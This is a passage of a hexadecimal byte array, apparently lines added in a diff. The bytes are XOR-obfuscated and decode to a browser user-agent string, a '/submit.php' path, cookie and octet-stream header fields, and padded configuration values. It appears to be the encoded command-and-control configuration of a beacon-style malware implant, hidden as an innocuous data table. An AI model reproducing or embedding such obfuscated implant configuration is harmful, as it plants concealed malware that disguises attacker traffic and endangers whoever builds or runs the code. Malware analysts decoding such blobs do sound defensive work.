0x7D, 0x67, 0x6B, 0x0E, 0x17, 0x00, 0x1E, 0x15, 0x0E, 0x79, 0x47, 0x40, + 0x4A, 0x41, 0x59, 0x5D, 0x0E, 0x60, 0x7A, 0x0E, 0x18, 0x00, 0x1F, 0x15, + 0x0E, 0x79, 0x61, 0x79, 0x18, 0x1A, 0x15, 0x0E, 0x7A, 0x5C, 0x47, 0x4A, + 0x4B, 0x40, 0x5A, 0x01, 0x1B, 0x00, 0x1E, 0x15, 0x0E, 0x6C, 0x61, 0x67, + 0x6B, 0x17, 0x15, 0x7D, 0x78, 0x7D, 0x6B, 0x07, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x24, 0x2E, 0x2D, 0x2E, 0x6E, 0x01, 0x5D, 0x5B, 0x4C, + 0x43, 0x47, 0x5A, 0x00, 0x5E, 0x46, 0x5E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x25, 0x2E, 0x2D, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2A, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x22, + 0x2E, 0x2D, 0x2C, 0x2E, 0x2E, 0x2E, 0x2E, 0x29, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2D, 0x2E, 0x2E, 0x2E, 0x28, 0x2E, 0x2E, 0x2E, 0x28, + 0x6D, 0x41, 0x41, 0x45, 0x47, 0x4B, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x23, 0x2E, 0x2D, 0x2C, 0x2E, 0x2E, 0x2E, 0x2E, 0x24, 0x2E, 0x2E, + 0x2E, 0x08, 0x6D, 0x41, 0x40, 0x5A, 0x4B, 0x40, 0x5A, 0x03, 0x7A, 0x57, + 0x5E, 0x4B, 0x14, 0x0E, 0x4F, 0x5E, 0x5E, 0x42, 0x47, 0x4D, 0x4F, 0x5A, + 0x47, 0x41, 0x40, 0x01, 0x41, 0x4D, 0x5A, 0x4B, 0x5A, 0x03, 0x5D, 0x5A, + 0x5C, 0x4B, 0x4F, 0x43, 0x2E, 0x2E, 0x2E, 0x29, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2B, 0x2E, 0x2E, 0x2E, 0x2C, 0x47, 0x4A, 0x2E, 0x2E, + 0x2E, 0x29, 0x2E, 0x2E, 0x2E, 0x2F, 0x2E, 0x2E, 0x2E, 0x2A, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x18, 0x2E, 0x2D, 0x2E, 0xAE, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x1C, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2F, + 0x2E, 0x0D, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2C, 0x2E, 0x14, 0x2E, 0x2D, + 0x2E, 0xAE, 0x2E, 0x2A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x17, + 0x2E, 0x2D, 0x2E, 0xAE, 0x2E, 0x2A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x19, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x06, 0x2E, 0x2C, + 0x2E, 0x2A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x07, 0x2E, 0x2C, 0x2E, 0x2A, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x05, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x6E, + 0x2E, 0x02, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x6E, 0x2E, 0x03, 0x2E, 0x2C, + 0x2E, 0x2A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x00, 0x2E, 0x2D, 0x2F, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x01, 0x2E, 0x2D, 0x2F, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, + 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 